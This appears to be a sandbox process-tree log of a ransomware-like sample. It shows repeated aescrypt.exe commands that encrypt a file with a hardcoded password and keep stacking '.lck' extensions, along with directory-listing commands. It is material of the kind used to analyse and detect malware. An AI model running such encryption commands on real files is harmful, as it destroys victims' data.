                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5248
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5244
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5288
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5292
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5336
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5412
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5496
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5572
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5620
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5700
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5748
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5788
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5808
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5824
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5904
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5940
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4108
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4756
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5860
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5872
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
